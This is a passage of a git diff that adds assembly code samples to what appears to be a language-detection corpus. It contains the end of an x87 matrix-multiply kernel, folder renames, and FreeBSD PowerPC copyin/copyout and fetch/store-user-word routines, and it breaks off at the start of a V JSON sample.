+	prefetchw	2 * SIZE(%edi, LDC)
+	prefetchw	1 * SIZE(%eax)
+	prefetchw	2 * SIZE(%eax, LDC)
+#elif defined(HAVE_SSE)
+	prefetcht0	1 * SIZE(%edi)
+	prefetcht0	2 * SIZE(%edi, LDC)
+	prefetcht0	1 * SIZE(%eax)
+	prefetcht0	2 * SIZE(%eax, LDC)
+#endif
+
+#ifndef TRMMKERNEL
+	movl	K,  %eax
+#elif (defined(LEFT) && !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))
+	movl	K, %eax
+	subl	KK, %eax
+	movl	%eax, KKK
+#else
+	movl	KK, %eax
+#ifdef LEFT
+	addl	$1, %eax
+#else
+	addl	$4, %eax
+#endif
+	movl	%eax, KKK
+#endif
+
+	andl	$-16, %eax
+
+	leal	(, %eax, SIZE), %eax
+	leal	(A, %eax, 1), A
+	leal	32 * SIZE(B, %eax, 4), BB
+	leal	(B, %eax, 4), B
+	negl	%eax
+	NOBRANCH
+ 	je	.L16
+	ALIGN_4
+
+.L15:
+	KERNEL
+	jge	.L16
+	KERNEL
+	jge	.L16
+	KERNEL
+	jge	.L16
+	KERNEL
+	jl	.L15
+	ALIGN_4
+
+.L16:
+#ifndef TRMMKERNEL
+	movl	K, %eax
+#else
+	movl	KKK, %eax
+#endif
+	and	$15, %eax
+	je	.L19
+	ALIGN_4
+
+.L17:
+	fmul	%st(1), %st
+	faddp	%st, %st(4)
+
+	FLD	-15 * SIZE + BOFFSET(B)
+	fmul	%st(1), %st
+	faddp	%st, %st(5)
+
+	FLD	-14 * SIZE + BOFFSET(B)
+	fmul	%st(1), %st
+	faddp	%st, %st(6)
+
+	FMUL	-13 * SIZE + BOFFSET(B)
+	faddp	%st, %st(6)
+	FLD	-15 * SIZE + AOFFSET(A)
+	FLD	-12 * SIZE + BOFFSET(B)
+
+	addl	$1 * SIZE,A
+	addl	$4 * SIZE,B
+
+	decl	%eax
+	jne	 .L17
+	ALIGN_4
+
+.L19:
+	ffreep	%st(0)
+	ffreep	%st(0)
+	ffreep	%st(0)
+	ffreep	%st(0)
+
+	FLD	ALPHA
+
+	fmul	%st, %st(1)
+	fmul	%st, %st(2)
+	fmul	%st, %st(3)
+	fmulp	%st, %st(4)
+
+	leal	(%edi, LDC, 2), %eax
+
+#ifndef TRMMKERNEL
+	FADD	(%edi)
+	FST	(%edi)
+	FADD	(%edi,LDC)
+	FST	(%edi,LDC)
+	FADD	(%eax)
+	FST	(%eax)
+	FADD	(%eax,LDC)
+	FST	(%eax,LDC)
+#else
+	FST	(%edi)
+	FST	(%edi,LDC)
+	FST	(%eax)
+	FST	(%eax,LDC)
+#endif
+
+#if (defined(TRMMKERNEL) &&  defined(LEFT) &&  defined(TRANSA)) || \
+    (defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))
+	movl	K, %eax
+	subl	KKK, %eax
+	leal	(,%eax, SIZE), %eax
+	leal	(A, %eax, 1), A
+	leal	(B, %eax, 4), B
+#endif
+
+#if defined(TRMMKERNEL) && defined(LEFT)
+	addl	$1, KK
+#endif
+
+	addl	$1 * SIZE, %edi
+	decl	I
+	jne	.L14
+
+#if defined(TRMMKERNEL) && !defined(LEFT)
+	addl	$4, KK
+#endif
+
+	leal	(, LDC, 4), %eax
+	addl	%eax, C
+	movl	B, STACK_B
+	decl	J
+	jne	.L11
+	ALIGN_4
+
+.L20:
+	movl	N,   %eax
+	andl	$2,  %eax
+	je	.L30
+	ALIGN_3
+
+.L21:
+#if defined(TRMMKERNEL) && defined(LEFT)
+	movl	OFFSET, %eax
+	movl	%eax, KK
+#endif
+
+	movl	STACK_A, A
+	movl	STACK_B, B
+	movl	C, %edi
+
+	movl	M, %eax
+	movl	%eax, I
+	ALIGN_3
+
+.L24:
+	movl	STACK_B, B
+
+#if !defined(TRMMKERNEL) || \
+	(defined(TRMMKERNEL) &&  defined(LEFT) &&  defined(TRANSA)) || \
+	(defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))
+#else
+	movl	KK,   %eax
+	leal	(, %eax, SIZE), %eax
+	leal	(A, %eax, 1), A
+	leal	(B, %eax, 2), B
+#endif
+
+	fldz
+	fldz
+	fldz
+	fldz
+
+	FLD	 -16 * SIZE + AOFFSET(A)
+	FLD	 -16 * SIZE + BOFFSET(B)
+
+	prefetchw	1 * SIZE(%edi)
+	prefetchw	1 * SIZE(%edi, LDC)
+
+#ifndef TRMMKERNEL
+	movl	K,  %eax
+#elif (defined(LEFT) && !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))
+	movl	K, %eax
+	subl	KK, %eax
+	movl	%eax, KKK
+#else
+	movl	KK, %eax
+#ifdef LEFT
+	addl	$1, %eax
+#else
+	addl	$2, %eax
+#endif
+	movl	%eax, KKK
+#endif
+	sarl	$3, %eax
+ 	je	.L26
+	ALIGN_3
+
+.L25:
+	fmul	%st(1), %st
+	faddp	%st, %st(2)
+
+	FMUL	-15 * SIZE + BOFFSET(B)
+	faddp	%st, %st(2)
+
+	FLD	-15 * SIZE + AOFFSET(A)
+	FLD	-14 * SIZE + BOFFSET(B)
+
+	fmul	%st(1), %st
+	faddp	%st, %st(4)
+
+	FMUL	-13 * SIZE + BOFFSET(B)
+	faddp	%st, %st(4)
+
+	FLD	-14 * SIZE + AOFFSET(A)
+	FLD	-12 * SIZE + BOFFSET(B)
+
+	fmul	%st(1), %st
+	faddp	%st, %st(2)
+
+	FMUL	-11 * SIZE + BOFFSET(B)
+	faddp	%st, %st(2)
+
+	FLD	-13 * SIZE + AOFFSET(A)
+	FLD	-10 * SIZE + BOFFSET(B)
+
+	fmul	%st(1), %st
+	faddp	%st, %st(4)
+
+	FMUL	 -9 * SIZE + BOFFSET(B)
+	faddp	%st, %st(4)
+
+	FLD	-12 * SIZE + AOFFSET(A)
+	FLD	 -8 * SIZE + BOFFSET(B)
+
+	fmul	%st(1), %st
+	faddp	%st, %st(2)
+
+	FMUL	 -7 * SIZE + BOFFSET(B)
+	faddp	%st, %st(2)
+
+	FLD	-11 * SIZE + AOFFSET(A)
+	FLD	 -6 * SIZE + BOFFSET(B)
+
+	fmul	%st(1), %st
+	faddp	%st, %st(4)
+
+	FMUL	 -5 * SIZE + BOFFSET(B)
+	faddp	%st, %st(4)
+
+	FLD	-10 * SIZE + AOFFSET(A)
+	FLD	 -4 * SIZE + BOFFSET(B)
+
+	fmul	%st(1), %st
+	faddp	%st, %st(2)
+
+	FMUL	 -3 * SIZE + BOFFSET(B)
+	faddp	%st, %st(2)
+
+	FLD	 -9 * SIZE + AOFFSET(A)
+	FLD	 -2 * SIZE + BOFFSET(B)
+
+	fmul	%st(1), %st
+	faddp	%st, %st(4)
+
+	FMUL	 -1 * SIZE + BOFFSET(B)
+	faddp	%st, %st(4)
+
+	FLD	 -8 * SIZE + AOFFSET(A)
+	FLD	  0 * SIZE + BOFFSET(B)
+
+	addl	$  8 * SIZE, A
+	subl	$-16 * SIZE, B
+
+	decl	%eax
+	jne	.L25
+	ALIGN_4
+
+.L26:
+#ifndef TRMMKERNEL
+	movl	K, %eax
+#else
+	movl	KKK, %eax
+#endif
+	and	$7, %eax
+	je	.L29
+	ALIGN_4
+
+.L27:
+	fmul	%st(1), %st
+	faddp	%st, %st(2)
+
+	FMUL	-15 * SIZE + BOFFSET(B)
+	faddp	%st, %st(2)
+
+	FLD	 -15 * SIZE + AOFFSET(A)
+	FLD	 -14 * SIZE + BOFFSET(B)
+
+	addl	$1 * SIZE,A
+	addl	$2 * SIZE,B
+
+	decl	%eax
+	jne	 .L27
+	ALIGN_4
+
+.L29:
+	ffreep	%st(0)
+	ffreep	%st(0)
+
+	faddp	%st, %st(2)
+	faddp	%st, %st(2)
+
+	FLD	ALPHA
+
+	fmul	%st, %st(1)
+	fmulp	%st, %st(2)
+
+#ifndef TRMMKERNEL
+	FADD	(%edi)
+	FST	(%edi)
+	FADD	(%edi,LDC)
+	FST	(%edi,LDC)
+#else
+	FST	(%edi)
+	FST	(%edi,LDC)
+#endif
+
+#if (defined(TRMMKERNEL) &&  defined(LEFT) &&  defined(TRANSA)) || \
+    (defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))
+	movl	K, %eax
+	subl	KKK, %eax
+	leal	(,%eax, SIZE), %eax
+	leal	(A, %eax, 1), A
+	leal	(B, %eax, 2), B
+#endif
+
+#if defined(TRMMKERNEL) && defined(LEFT)
+	addl	$1, KK
+#endif
+
+	addl	$1 * SIZE, %edi
+	decl	I
+	jne	.L24
+
+#if defined(TRMMKERNEL) && !defined(LEFT)
+	addl	$2, KK
+#endif
+
+	leal	(, LDC, 2), %eax
+	addl	%eax, C
+	movl	B, STACK_B
+	ALIGN_4
+
+.L30:
+	movl	N,   %eax
+	andl	$1,  %eax
+	je	.L999
+	ALIGN_3
+
+.L31:
+#if defined(TRMMKERNEL) && defined(LEFT)
+	movl	OFFSET, %eax
+	movl	%eax, KK
+#endif
+
+	movl	STACK_A, A
+	movl	STACK_B, B
+	movl	C, %edi
+
+	movl	M, %eax
+	movl	%eax, I
+	ALIGN_3
+
+.L34:
+	movl	STACK_B, B
+
+#if !defined(TRMMKERNEL) || \
+	(defined(TRMMKERNEL) &&  defined(LEFT) &&  defined(TRANSA)) || \
+	(defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))
+#else
+	movl	KK,   %eax
+	leal	(, %eax, SIZE), %eax
+	leal	(A, %eax, 1), A
+	leal	(B, %eax, 1), B
+#endif
+
+	fldz
+	fldz
+	fldz
+	fldz
+
+	prefetchw	1 * SIZE(%edi)
+
+#ifndef TRMMKERNEL
+	movl	K,  %eax
+#elif (defined(LEFT) && !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))
+	movl	K, %eax
+	subl	KK, %eax
+	movl	%eax, KKK
+#else
+	movl	KK, %eax
+#ifdef LEFT
+	addl	$1, %eax
+#else
+	addl	$1, %eax
+#endif
+	movl	%eax, KKK
+#endif
+	sarl	$3, %eax
+ 	je	.L36
+	ALIGN_3
+
+.L35:
+	FLD	-16 * SIZE + AOFFSET(A)
+	FMUL	-16 * SIZE + BOFFSET(B)
+	faddp	%st, %st(1)
+
+	FLD	-15 * SIZE + AOFFSET(A)
+	FMUL	-15 * SIZE + BOFFSET(B)
+	faddp	%st, %st(2)
+
+	FLD	-14 * SIZE + AOFFSET(A)
+	FMUL	-14 * SIZE + BOFFSET(B)
+	faddp	%st, %st(3)
+
+	FLD	-13 * SIZE + AOFFSET(A)
+	FMUL	-13 * SIZE + BOFFSET(B)
+	faddp	%st, %st(4)
+
+	FLD	-12 * SIZE + AOFFSET(A)
+	FMUL	-12 * SIZE + BOFFSET(B)
+	faddp	%st, %st(1)
+
+	FLD	-11 * SIZE + AOFFSET(A)
+	FMUL	-11 * SIZE + BOFFSET(B)
+	faddp	%st, %st(2)
+
+	FLD	-10 * SIZE + AOFFSET(A)
+	FMUL	-10 * SIZE + BOFFSET(B)
+	faddp	%st, %st(3)
+
+	FLD	 -9 * SIZE + AOFFSET(A)
+	FMUL	 -9 * SIZE + BOFFSET(B)
+	faddp	%st, %st(4)
+
+	addl	$8 * SIZE, A
+	addl	$8 * SIZE, B
+
+	decl	%eax
+	jne	.L35
+	ALIGN_4
+
+.L36:
+#ifndef TRMMKERNEL
+	movl	K, %eax
+#else
+	movl	KKK, %eax
+#endif
+	and	$7, %eax
+	je	.L39
+	ALIGN_4
+
+.L37:
+	FLD	-16 * SIZE + AOFFSET(A)
+	FMUL	-16 * SIZE + BOFFSET(B)
+	faddp	%st, %st(1)
+
+	addl	$1 * SIZE,A
+	addl	$1 * SIZE,B
+	decl	%eax
+	jne	 .L37
+	ALIGN_4
+
+.L39:
+	faddp	%st, %st(2)
+	faddp	%st, %st(2)
+	faddp	%st, %st(1)
+
+	FMUL	ALPHA
+
+#ifndef TRMMKERNEL
+	FADD	(%edi)
+	FST	(%edi)
+#else
+	FST	(%edi)
+#endif
+
+#if (defined(TRMMKERNEL) &&  defined(LEFT) &&  defined(TRANSA)) || \
+    (defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))
+	movl	K, %eax
+	subl	KKK, %eax
+	leal	(,%eax, SIZE), %eax
+	leal	(A, %eax, 1), A
+	leal	(B, %eax, 1), B
+#endif
+
+#if defined(TRMMKERNEL) && defined(LEFT)
+	addl	$1, KK
+#endif
+
+	addl	$1 * SIZE, %edi
+	decl	I
+	jne	.L34
+
+#if defined(TRMMKERNEL) && !defined(LEFT)
+	addl	$1, KK
+#endif
+
+	addl	LDC, C
+	movl	B, STACK_B
+	ALIGN_4
+
+.L999:
+	popl	%ebx
+	popl	%esi
+	popl	%edi
+	popl	%ebp
+	addl	$ARGS, %esp
+	ret
+
+	EPILOGUE
diff --git a/samples/GAS/hello.ms b/samples/Unix Assembly/hello.ms
similarity index 100%
rename from samples/GAS/hello.ms
rename to samples/Unix Assembly/hello.ms
diff --git a/samples/GAS/hello.s b/samples/Unix Assembly/hello.s
similarity index 100%
rename from samples/GAS/hello.s
rename to samples/Unix Assembly/hello.s
diff --git a/samples/Unix Assembly/support.S b/samples/Unix Assembly/support.S
new file mode 100644
index 0000000000..ecb727737c
--- /dev/null
+++ b/samples/Unix Assembly/support.S	
@@ -0,0 +1,539 @@
+/*-
+ * SPDX-License-Identifier: BSD-2-Clause-FreeBSD
+ *
+ * Copyright (c) 2018, Matthew Macy <mmacy@freebsd.org>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ * $FreeBSD$	
+ */
+
+/*
+ * Assembly variants of various functions, for those that don't need generic C
+ * implementations.  Currently this includes:
+ *
+ * - Direct-access versions of copyin/copyout methods.
+ *   - These are used by Radix AIM pmap (ISA 3.0), and Book-E, to avoid
+ *     unnecessary pmap_map_usr_ptr() calls.
+ */
+
+#include "assym.inc"
+#include "opt_sched.h"
+
+#include <sys/syscall.h>
+#include <sys/errno.h>
+	
+#include <machine/param.h>
+#include <machine/asm.h>
+#include <machine/spr.h>
+#include <machine/trap.h>
+#include <machine/vmparam.h>
+
+#ifdef _CALL_ELF
+.abiversion _CALL_ELF
+#endif
+
+#ifdef __powerpc64__
+#define	LOAD	ld
+#define	STORE	std
+#define	WORD	8
+#define	CMPI	cmpdi
+#define	CMPLI	cmpldi
+/* log_2(8 * WORD) */
+#define	LOOP_LOG	6
+#define	LOG_WORD	3
+#else
+#define	LOAD	lwz
+#define	STORE	stw
+#define	WORD	4
+#define	CMPI	cmpwi
+#define	CMPLI	cmplwi
+/* log_2(8 * WORD) */
+#define	LOOP_LOG	5
+#define	LOG_WORD	2
+#endif
+
+#ifdef AIM
+#define ENTRY_DIRECT(x) ENTRY(x ## _direct)
+#else
+#define	ENTRY_DIRECT(x)	ENTRY(x)
+#endif
+	
+#ifdef __powerpc64__
+#define	PROLOGUE		;\
+	mflr	%r0 		;\
+	std	%r0, 16(%r1)	;\
+
+#define	EPILOGUE		;\
+	ld	%r0, 16(%r1)	;\
+	mtlr	%r0		;\
+	blr			;\
+	nop
+
+#define	VALIDATE_TRUNCATE_ADDR_COPY	VALIDATE_ADDR_COPY
+#define	VALIDATE_ADDR_COPY(raddr, len)	\
+	srdi  %r0, raddr, 52		;\
+	cmpwi %r0, 1			;\
+	bge-	copy_fault		;\
+	nop
+
+#define	VALIDATE_ADDR_FUSU(raddr)	;\
+	srdi  %r0, raddr, 52		;\
+	cmpwi %r0, 1			;\
+	bge-	fusufault		;\
+	nop
+
+#else
+#define	PROLOGUE		;\
+	mflr	%r0 		;\
+	stw	%r0, 4(%r1)	;\
+
+#define	EPILOGUE		;\
+	lwz	%r0, 4(%r1)	;\
+	mtlr	%r0		;\
+	blr			;\
+	nop
+
+/* %r0 is temporary */
+/*
+ * Validate address and length are valid.
+ * For VALIDATE_ADDR_COPY() have to account for wraparound.
+ */
+#define	VALIDATE_ADDR_COPY(raddr, len)		\
+	lis	%r0, VM_MAXUSER_ADDRESS@h	;\
+	ori	%r0, %r0, VM_MAXUSER_ADDRESS@l	;\
+	cmplw	%r0, raddr			;\
+	blt-	copy_fault			;\
+	add	%r0, raddr, len			;\
+	cmplw	7, %r0, raddr			;\
+	blt-	7, copy_fault			;\
+	mtcrf	0x80, %r0			;\
+	bt-	0, copy_fault			;\
+	nop
+
+#define	VALIDATE_TRUNCATE_ADDR_COPY(raddr, len)		\
+	lis	%r0, VM_MAXUSER_ADDRESS@h	;\
+	ori	%r0, %r0, VM_MAXUSER_ADDRESS@l	;\
+	cmplw	%r0, raddr			;\
+	blt-	copy_fault			;\
+	sub	%r0, %r0, raddr			;\
+	cmplw	len, %r0			;\
+	isel	len, len, %r0, 0		;\
+
+#define	VALIDATE_ADDR_FUSU(raddr)		\
+	lis	%r0, VM_MAXUSER_ADDRESS@h	;\
+	ori	%r0, %r0, VM_MAXUSER_ADDRESS@l	;\
+	cmplw	%r0, raddr			;\
+	ble-	fusufault
+
+#endif
+
+#define PCPU(reg) mfsprg  reg, 0
+
+#define	SET_COPYFAULT(raddr, rpcb, len)	\
+	VALIDATE_ADDR_COPY(raddr, len)	;\
+	PCPU(%r9)			;\
+	li	%r0, COPYFAULT		;\
+	LOAD	rpcb, PC_CURPCB(%r9)	;\
+	STORE	%r0, PCB_ONFAULT(rpcb)	;\
+
+#define	SET_COPYFAULT_TRUNCATE(raddr, rpcb, len)\
+	VALIDATE_TRUNCATE_ADDR_COPY(raddr, len)	;\
+	PCPU(%r9)				;\
+	li	%r0, COPYFAULT			;\
+	LOAD	rpcb, PC_CURPCB(%r9)		;\
+	STORE	%r0, PCB_ONFAULT(rpcb)
+
+#define	SET_FUSUFAULT(raddr, rpcb)	\
+	VALIDATE_ADDR_FUSU(raddr)	;\
+	PCPU(%r9)			;\
+	li	%r0, FUSUFAULT		;\
+	LOAD	rpcb, PC_CURPCB(%r9)	;\
+	STORE	%r0, PCB_ONFAULT(rpcb)
+
+#define	CLEAR_FAULT_NO_CLOBBER(rpcb)	\
+	PCPU(%r9)			;\
+	LOAD	rpcb, PC_CURPCB(%r9)	;\
+	li	%r0, 0			;\
+	STORE	%r0, PCB_ONFAULT(rpcb)
+
+#define	CLEAR_FAULT(rpcb)		\
+	CLEAR_FAULT_NO_CLOBBER(rpcb)	;\
+	li	%r3, 0
+
+/*
+ *  bcopy(src, dst, len)
+ *        %r3  %r4  %r5
+ * 
+ *  %r7 is the pcb pointer
+ * 
+ *  %r0 and %r8-%r10 are volatile
+ *  %r11 and %r12 are generally volatile, used in linking and exception
+ *  handling.  Can be clobbered here.
+ *
+ * Does not allocate or use stack space, but clobbers all volatile registers.
+ */
+
+#define	rs	%r3
+#define	rd	%r4
+#define	rl	%r5
+
+#define	t1	%r6
+#define	t2	%r7
+#define	t3	%r8
+#define	t4	%r9
+#define	t5	%r10
+#define	t6	%r11
+#define	t7	%r12
+#define	t8	%r0
+
+#define Thresh	WORD * 8
+#define	W4	3
+#define	W2	2
+#define	W1	1
+#define	WORDS(n)	(32 - LOG_WORD - W##n)
+.text
+ENTRY(bcopy_generic)
+	CMPLI	0, %r5, 0
+	beq	.Lend
+	dcbtst	0, rd
+	dcbt	0, rs
+	CMPLI	rl, Thresh
+	blt	.Lsmall
+	b	.Llarge
+/* memcpy */
+/* ... */
+.Lsmall: 				/* < 8 words remaining */
+	mtcrf	0x3, rl
+.Lsmall_start:
+	bf	WORDS(4), 0f
+	LOAD	t1, 0(rs)
+	LOAD	t2, WORD*1(rs)
+	LOAD	t3, WORD*2(rs)
+	LOAD	t4, WORD*3(rs)
+	addi	rs, rs, WORD*4
+	STORE	t1, 0(rd)
+	STORE	t2, WORD*1(rd)
+	STORE	t3, WORD*2(rd)
+	STORE	t4, WORD*3(rd)
+	addi	rd, rd, WORD*4
+0:					/* < 4 words remaining */
+	bf	WORDS(2), 1f
+	LOAD	t1, 0(rs)
+	LOAD	t2, WORD*1(rs)
+	addi	rs, rs, WORD*2
+	STORE	t1, 0(rd)
+	STORE	t2, WORD*1(rd)
+	addi	rd, rd, WORD*2
+1:					/* < 2 words remaining */
+	bf	WORDS(1), 2f
+	LOAD	t1, 0(rs)
+	addi	rs, rs, WORD
+	STORE	t1, 0(rd)
+	addi	rd, rd, WORD
+2:					/* < 1 word remaining */
+#ifdef __powerpc64__
+	bf	29, 3f
+	lwz	t1, 0(rs)
+	addi	rs, rs, 4
+	stw	t1, 0(rd)
+	addi	rd, rd, 4
+3:					/* < 4 bytes remaining */
+#endif
+	bf	30, 4f
+	lhz	t1, 0(rs)
+	addi	rs, rs, 2
+	sth	t1, 0(rd)
+	addi	rd, rd, 2
+4:					/* < 2 bytes remaining */
+	bf	31, .Lout
+	lbz	t1, 0(rs)
+	addi	rs, rs, 1
+	stb	t1, 0(rd)
+	addi	rd, rd, 1
+	b	.Lout
+
+	.align 4
+.Llarge:
+	neg	t3, rd
+	andi.	t6, t3, WORD-1		/* Align rd to word size */
+	mtctr	t6
+	sub	rl, rl, t6
+	beq+	.Llargealigned
+1:
+	lbz	t1, 0(rs)
+	addi	rs, rs, 1
+	stb	t1, 0(rd)
+	addi	rd, rd, 1
+	bdnz	1b
+
+.Llargealigned:
+	srwi.	t2, rl, LOOP_LOG  /* length >> log_2(loop_size) => 8W iterations */
+	mtcrf	0x3, rl
+	beq	.Lsmall_start
+	mtctr	t2
+	b	1f
+
+	.align 5
+1:
+	LOAD	t1, 0(rs)
+	LOAD	t2, WORD(rs)
+	LOAD	t3, WORD*2(rs)
+	LOAD	t4, WORD*3(rs)
+	LOAD	t5, WORD*4(rs)
+	LOAD	t6, WORD*5(rs)
+	LOAD	t7, WORD*6(rs)
+	LOAD	t8, WORD*7(rs)
+	addi	rs, rs, WORD*8
+	STORE	t1, 0(rd)
+	STORE	t2, WORD*1(rd)
+	STORE	t3, WORD*2(rd)
+	STORE	t4, WORD*3(rd)
+	STORE	t5, WORD*4(rd)
+	STORE	t6, WORD*5(rd)
+	STORE	t7, WORD*6(rd)
+	STORE	t8, WORD*7(rd)
+	addi	rd, rd, WORD*8
+	bdnz	1b
+
+	b	.Lsmall_start
+.Lout:
+/* done */	
+.Lend:	
+	blr
+
+/*
+ * copyout(from_kernel, to_user, len)
+ *         %r3,        %r4,    %r5
+ */
+ENTRY_DIRECT(copyout)
+	PROLOGUE
+	SET_COPYFAULT(%r4, %r7, %r5)
+	bl bcopy_generic 
+	nop
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+
+/*
+ * copyin(from_user, to_kernel, len)
+ *        %r3,        %r4,    %r5
+ */
+ENTRY_DIRECT(copyin)
+	PROLOGUE
+	SET_COPYFAULT(%r3, %r7, %r5)
+	bl bcopy_generic
+	nop
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+/*
+ * copyinstr(const void *udaddr, void *kaddr, size_t len, size_t *done)
+ *			%r3          %r4         %r5        %r6 
+ */
+	
+ENTRY_DIRECT(copyinstr)
+	PROLOGUE
+	SET_COPYFAULT_TRUNCATE(%r3, %r7, %r5)
+	addi	%r9, %r5, 1
+	mtctr	%r9
+	mr	%r8, %r3
+	addi	%r8, %r8, -1
+	addi	%r4, %r4, -1
+	li	%r3, ENAMETOOLONG
+0:
+	bdz-	2f
+	lbzu	%r0, 1(%r8)
+	stbu	%r0, 1(%r4)
+
+	// NULL byte reached ?
+	CMPI	%r0, 0
+	beq-	1f
+	b	0b
+1:
+	li	%r3, 0
+2:
+	/* skip storing length if done is NULL */
+	CMPI	%r6, 0
+	beq-	3f
+	mfctr	%r0
+	sub	%r0, %r9, %r0
+	STORE	%r0, 0(%r6)
+3:
+	CLEAR_FAULT_NO_CLOBBER(%r7)
+	EPILOGUE
+
+ENTRY_DIRECT(subyte)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	stb  %r4, 0(%r3)
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+
+#ifndef __powerpc64__
+ENTRY_DIRECT(suword)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	stw  %r4, 0(%r3)
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+#endif	
+
+ENTRY_DIRECT(suword32)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	stw  %r4, 0(%r3)
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+
+#ifdef __powerpc64__	
+ENTRY_DIRECT(suword64)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	std  %r4, 0(%r3) 
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+ENTRY_DIRECT(suword)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	std  %r4, 0(%r3) 
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+#endif	
+	
+ENTRY_DIRECT(fubyte)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	lbz %r3, 0(%r3)
+	CLEAR_FAULT_NO_CLOBBER(%r7)
+	EPILOGUE
+
+ENTRY_DIRECT(fuword16)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	lhz %r3, 0(%r3)
+	CLEAR_FAULT_NO_CLOBBER(%r7)
+	EPILOGUE
+
+#ifndef __powerpc64__
+ENTRY_DIRECT(fueword)	
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	lwz  %r0, 0(%r3)
+	stw  %r0,  0(%r4)
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+#endif	
+ENTRY_DIRECT(fueword32)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	lwz  %r0, 0(%r3)
+	stw  %r0,  0(%r4)
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+
+#ifdef __powerpc64__
+ENTRY_DIRECT(fueword)	
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	ld  %r0, 0(%r3)
+	std %r0, 0(%r4)
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+
+ENTRY_DIRECT(fueword64)
+	PROLOGUE
+	SET_FUSUFAULT(%r3, %r7)
+	ld  %r0, 0(%r3)
+	std %r0, 0(%r4)
+	CLEAR_FAULT(%r7)
+	EPILOGUE
+#endif
+
+/*
+ * casueword(volatile u_long *base, u_long old, u_long *oldp, u_long new)
+ *			      %r3          %r4           %r5         %r6 
+ */
+
+#define	CASUEWORD32(raddr, rpcb)					;\
+	PROLOGUE							;\
+	SET_FUSUFAULT(raddr, rpcb)					;\
+	li	%r8, 0							;\
+1:									;\
+	lwarx	%r0, 0, %r3						;\
+	cmplw	%r4, %r0						;\
+	bne	2f							;\
+	stwcx.	%r6, 0, %r3						;\
+	bne-	3f							;\
+	b	4f							;\
+2:									;\
+	stwcx.	%r0, 0, %r3       	/* clear reservation (74xx) */	;\
+3:									;\
+	li	%r8, 1							;\
+4:									;\
+	stw	%r0, 0(%r5)						;\
+	CLEAR_FAULT_NO_CLOBBER(rpcb)					;\
+	mr	%r3, %r8						;\
+	EPILOGUE	
+	
+ENTRY_DIRECT(casueword32)
+	CASUEWORD32(%r3, %r7)
+
+#ifdef __powerpc64__
+#define	CASUEWORD64(raddr, rpcb)					;\
+	PROLOGUE							;\
+	SET_FUSUFAULT(raddr, rpcb)					;\
+	li	%r8, 0							;\
+1:									;\
+	ldarx	%r0, 0, %r3						;\
+	cmpld	%r4, %r0						;\
+	bne	2f							;\
+	stdcx.	%r6, 0, %r3						;\
+	bne-	3f							;\
+	b	4f							;\
+2:									;\
+	stdcx.	%r0, 0, %r3       	/* clear reservation (74xx) */	;\
+3:									;\
+	li	%r8, 1							;\
+4:									;\
+	std	%r0, 0(%r5)						;\
+	CLEAR_FAULT_NO_CLOBBER(rpcb)					;\
+	mr	%r3, %r8						;\
+	EPILOGUE
+
+ENTRY_DIRECT(casueword)
+	CASUEWORD64(%r3, %r7)
+
+ENTRY_DIRECT(casueword64)
+	CASUEWORD64(%r3, %r7)
+#else
+ENTRY_DIRECT(casueword)
+	CASUEWORD32(%r3, %r7)
+#endif
+	
+_NAKED_ENTRY(fusufault)
+	CLEAR_FAULT_NO_CLOBBER(%r7)
+	li %r3, -1
+	EPILOGUE
+
+_NAKED_ENTRY(copy_fault)
+	CLEAR_FAULT_NO_CLOBBER(%r7)
+	li %r3, EFAULT
+	EPILOGUE
diff --git a/samples/V/json.v b/samples/V/json.v
new file mode 100644
index 0000000000..e814978596
--- /dev/null
+++ b/samples/V/json.v
@@ -0,0 +1,38 @@
+import json
+
+struct User {
